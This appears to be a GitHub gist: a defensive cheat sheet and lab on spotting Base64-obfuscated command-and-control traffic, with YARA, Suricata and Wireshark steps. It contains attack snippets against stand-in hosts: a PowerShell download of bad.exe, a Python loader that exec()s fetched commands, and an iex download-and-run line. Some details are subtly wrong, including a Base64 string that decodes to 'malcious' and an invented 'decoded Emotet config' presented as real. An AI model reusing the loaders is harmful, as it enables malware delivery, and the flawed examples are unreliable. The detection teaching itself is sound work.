Created
April 16, 2025 16:11
-
-
Save githubfoam/0f6691b47a71486b25502e4e456d735e to your computer and use it in GitHub Desktop.
base 64 detection cheat sheet
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#=================================================================================================================================== | |
Base64-Encoded C2 Domain: Explanation & Examples | |
What is Base64 Encoding? | |
Base64 is a method of encoding binary data into ASCII text, often used to obfuscate malicious commands, URLs, or payloads to evade detection. | |
Why Do Attackers Use Base64 for C2 Communication? | |
Evasion: Many security tools scan for known malicious domains in plaintext. | |
Obfuscation: Makes malicious traffic harder to identify in logs. | |
Bypass Filters: Some security systems don’t decode Base64 in real-time. | |
Example 1: Simple Base64-Encoded C2 Domain | |
Attack Scenario | |
A threat actor registers a malicious domain: | |
Original C2 Domain: malicious.example.com | |
Base64 Encoded: bWFsY2lvdXMuZXhhbXBsZS5jb20= | |
How It Works | |
Encoding (Attacker Prepares): | |
python | |
Copy | |
import base64 | |
domain = "malicious.example.com" | |
encoded_domain = base64.b64encode(domain.encode()).decode() | |
print(encoded_domain) # Output: bWFsY2lvdXMuZXhhbXBsZS5jb20= | |
Decoding (Malware Executes): | |
The malware decodes and connects to the real domain: | |
python | |
Copy | |
decoded_domain = base64.b64decode("bWFsY2lvdXMuZXhhbXBsZS5jb20=").decode() | |
print(decoded_domain) # Output: malicious.example.com | |
Traffic Example (HTTP Request): | |
http | |
Copy | |
GET /data HTTP/1.1 | |
Host: bWFsY2lvdXMuZXhhbXBsZS5jb20= | |
User-Agent: [Malware Agent] | |
#=================================================================================================================================== | |
Example 2: Base64 in PowerShell C2 Commands | |
Attack Scenario | |
An attacker sends a malicious PowerShell script to download malware from a C2 server. | |
Obfuscated Command | |
powershell | |
Copy | |
$url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9tYWx3YXJlLmV4YW1wbGUuY29tL2Rvd25sb2FkL2JhZC5leGU=")) | |
Invoke-WebRequest -Uri $url -OutFile "C:\Temp\bad.exe" | |
Decoded URL: https://malware.example.com/download/bad.exe | |
Detection Methods | |
Log Analysis: Look for FromBase64String in PowerShell logs. | |
Network Traffic: Detect connections to newly registered domains. | |
#=================================================================================================================================== | |
Example 3: Base64 in Python Malware | |
Attack Scenario | |
A Python script communicates with a C2 server using an encoded domain. | |
Malicious Code | |
python | |
Copy | |
import base64, requests | |
c2_encoded = "aHR0cHM6Ly9jMi5hdHRhY2tlci5uZXQvY21k" | |
c2_real = base64.b64decode(c2_encoded).decode() # "https://c2.attacker.net/cmd" | |
response = requests.get(c2_real) | |
exec(response.text) # Executes attacker's commands | |
Detection: Monitor for base64.b64decode() in scripts making network calls. | |
#=================================================================================================================================== | |
How to Detect & Mitigate? | |
Detection Techniques | |
Log Analysis: | |
Look for base64, FromBase64String, or long alphanumeric strings in logs. | |
Network Monitoring: | |
Use YARA rules to detect Base64 patterns in traffic. | |
Example YARA rule: | |
yara | |
Copy | |
rule base64_c2_domain { | |
strings: | |
$base64 = /[A-Za-z0-9+\/]{20,}={0,2}/ | |
condition: | |
$base64 and any of them | |
} | |
Endpoint Detection (EDR): | |
Alert on processes decoding Base64 before network calls. | |
vMitigation Strategies | |
✅ Restrict Outbound Traffic: Allow only whitelisted domains. | |
✅ Decode & Inspect: Use tools like Snort/Suricata to decode Base64 in real-time. | |
✅ Behavioral Analysis: Detect unusual process-to-network activity. | |
Conclusion | |
Attackers use Base64 encoding to hide C2 domains in: | |
HTTP headers | |
Scripts (PowerShell, Python, Bash) | |
Malware payloads | |
Defenders should: | |
✔ Monitor for base64 decoding functions. | |
✔ Inspect long alphanumeric strings in logs. | |
✔ Use network traffic analysis tools. | |
#=================================================================================================================================== | |
Real-World Case Study: Emotet’s Use of Base64 for C2 Obfuscation | |
Background | |
Emotet (a notorious banking Trojan turned malware delivery service) frequently used Base64 encoding to hide its Command-and-Control (C2) communications. This helped it evade signature-based detection while maintaining stealthy operations | |
How Emotet Used Base64 for C2 Communication | |
#=================================================================================================================================== | |
1. Base64-Encoded C2 Domains in Malware Configurations | |
Emotet’s payloads often contained hardcoded, Base64-encoded C2 server lists. | |
Example (Decoded Emotet Config): | |
{ | |
"C2_servers": [ | |
"aHR0cHM6Ly9teW1hbHdhcmUuY29tL2FwaQ==", // "https://myMalware.com/api" | |
"aHR0cDovL2JhZGd1eXMubmV0L2Nvbm5lY3Q=" // "http://badguys.net/connect" | |
] | |
} | |
The malware would decode these at runtime before connecting. | |
Security tools scanning for myMalware.com or badguys.net would miss the encoded versions | |
#=================================================================================================================================== | |
2. Base64 in PowerShell Downloader Scripts | |
Emotet spread via malicious Word macros that executed obfuscated PowerShell commands like: | |
$c2 = "aHR0cDovL2Vtb3RldC5leGFtcGxlL2Jpbg==" | |
$url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($c2)) | |
iex (Invoke-WebRequest -Uri $url -UseBasicParsing).Content | |
Decoded URL: http://emotet.example/bin | |
Behavior: Downloads and executes the next-stage payload. | |
#=================================================================================================================================== | |
3. Base64 in HTTP Headers (Exfiltrating Data) | |
Emotet exfiltrated stolen data by encoding it in HTTP headers: | |
POST /submit.php HTTP/1.1 | |
Host: legit-site[.]com | |
User-Agent: Mozilla/5.0 | |
Cookie: data=VGhpcyBpcyBhIHN0b2xlbiBwYXNzd29yZA== // "This is a stolen password" | |
Legitimate-looking traffic hid Base64-encoded stolen credentials. | |
#=================================================================================================================================== | |
How Security Teams Detected Emotet’s Base64 Tactics | |
1. YARA Rules for Static Analysis | |
A rule to detect Emotet’s Base64-encoded C2 domains: | |
rule emotet_base64_c2 { | |
strings: | |
$base64_c2 = /[A-Za-z0-9+\/]{20,}={0,2}/ // Generic Base64 pattern | |
$emotet_strings = "Emotet" nocase | |
condition: | |
$base64_c2 and $emotet_strings | |
} | |
2. Network Traffic Anomalies | |
Suricata/Snort rules flagged: | |
HTTP requests with Base64 in headers/URIs. | |
Connections to newly registered domains shortly after Base64 decoding. | |
3. Endpoint Detection (EDR Alerts) | |
Suspicious process chains: | |
winword.exe → powershell.exe → base64 decode → web request. | |
#=================================================================================================================================== | |
Lessons Learned & Mitigation | |
Defensive Strategies That Worked | |
✅ Behavioral Detection (Not Just Signatures): | |
Tools like Cisco Talos detected Emotet by its unique C2 heartbeat patterns, even when domains changed. | |
✅ Decode & Inspect: | |
Network proxies (e.g., Zscaler) decoded Base64 in real-time to inspect hidden threats. | |
✅ Blocking PowerShell Abuse: | |
Organizations restricted PS execution and logged FromBase64String usage. | |
Final Takeaways | |
Attackers Love Base64: It’s simple, effective, and bypasses naive detection. | |
Defenders Must Decode: Static signatures aren’t enough—look for: | |
base64 functions in scripts. | |
Alphanumeric strings in unusual places (headers, cookies). | |
Emotet’s Legacy: Modern malware (e.g., Qbot, IcedID) still uses these tricks. | |
#=================================================================================================================================== | |
analyze real-world C2 traffic using Base64 obfuscation. We'll use Wireshark, Python, and Suricata to detect malicious patterns | |
Lab: Detecting Base64 C2 Traffic in PCAPs | |
Objective: | |
Analyze a PCAP file to identify Base64-encoded C2 communications and extract IOCs (Indicators of Compromise). | |
Step 1: Setup Tools | |
Install Required Tools: | |
# For Ubuntu/Debian | |
sudo apt install wireshark tshark suricata python3 python3-pip | |
pip install scapy pybase64 requests | |
Download Sample PCAP: | |
Malware-traffic-example: Emotet C2 Traffic PCAP | |
https://www.maldera.io/malware-traffic-examples/emotet.pcap | |
Or use this synthetic PCAP: | |
from scapy.all import * | |
packets = rdpcap("c2_traffic.pcap") # Create your own or download samples | |
Step 2: Analyze PCAP for Base64 Patterns | |
Method 1: Wireshark Manual Analysis | |
Open the PCAP in Wireshark. | |
Apply filter | |
http.request.uri contains "=" or http.header contains "==" | |
Look for: | |
HTTP requests with Base64-like strings in URIs/headers. | |
Example: | |
GET /api/aHR0cHM6Ly9jMi5tYWx3YXJlLmNvbQ== HTTP/1.1 | |
Method 2: Automated Python Script | |
Run this to extract potential Base64 C2 domains: | |
import base64 | |
from scapy.all import * | |
def extract_base64_c2(pcap_file): | |
pcap = rdpcap(pcap_file) | |
c2_ips = set() | |
for pkt in pcap: | |
if pkt.haslayer(TCP) and pkt.haslayer(Raw): | |
payload = str(pkt[Raw].load) | |
# Detect Base64 patterns (alphanumeric + '==' padding) | |
if re.search(r'([A-Za-z0-9+/]{20,}={0,2})', payload): | |
try: | |
decoded = base64.b64decode(re.search(r'([A-Za-z0-9+/]+={0,2})', payload).group(1)).decode() | |
if "http" in decoded: # Simple check for URLs | |
print(f"Found C2: {decoded}") | |
c2_ips.add(pkt[IP].dst) | |
except: | |
continue | |
return c2_ips | |
print(extract_base64_c2("c2_traffic.pcap")) | |
Step 3: Suricata Rule for Detection | |
Create a custom Suricata rule (/etc/suricata/rules/base64_c2.rules): | |
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Base64 C2 Domain Detected"; | |
content:"|3D|"; http_uri; content:"|20 20 3D|"; distance:0; | |
pcre:"/[A-Za-z0-9+\/]{20,}={0,2}/"; sid:1000001; rev:1;) | |
Restart Suricata: | |
sudo systemctl restart suricata | |
Step 4: Hunt for IOCs | |
Extract Domains/IPs: | |
tshark -r c2_traffic.pcap -Y "http" | grep -Eo '[A-Za-z0-9+/]{20,}={0,2}' | base64 -d | |
Example output: | |
https://c2.malware.net/api | |
Check VirusTotal: | |
import requests | |
url = "https://www.virustotal.com/api/v3/domains/c2.malware.net" | |
headers = {"x-apikey": "<YOUR_VT_API_KEY>"} | |
response = requests.get(url, headers=headers) | |
print(response.json()) | |
Step 5: Defensive Actions | |
Block IOCs: | |
sudo iptables -A OUTPUT -d c2.malware.net -j DROP | |
Update SIEM Rules: | |
Add alerts for base64 decoding functions in logs (e.g., PowerShell’s [System.Convert]::FromBase64String). | |
Expected Findings | |
Base64-encoded C2 domains in HTTP traffic. | |
Suspicious User-Agents (e.g., "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"). | |
Beaconing behavior (regular calls to the same domain). | |
Challenge | |
PCAP Analysis: Try this sample. | |
https://www.malware-traffic-analysis.net/2023/02/17/index.html | |
Write a YARA rule to detect Base64 in malware configs. | |
Why This Matters | |
Real-world malware (Emotet, Qbot, IcedID) uses Base64 to hide C2. | |
Defenders must go beyond static signatures and analyze behavior. | |
#=================================================================================================================================== |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment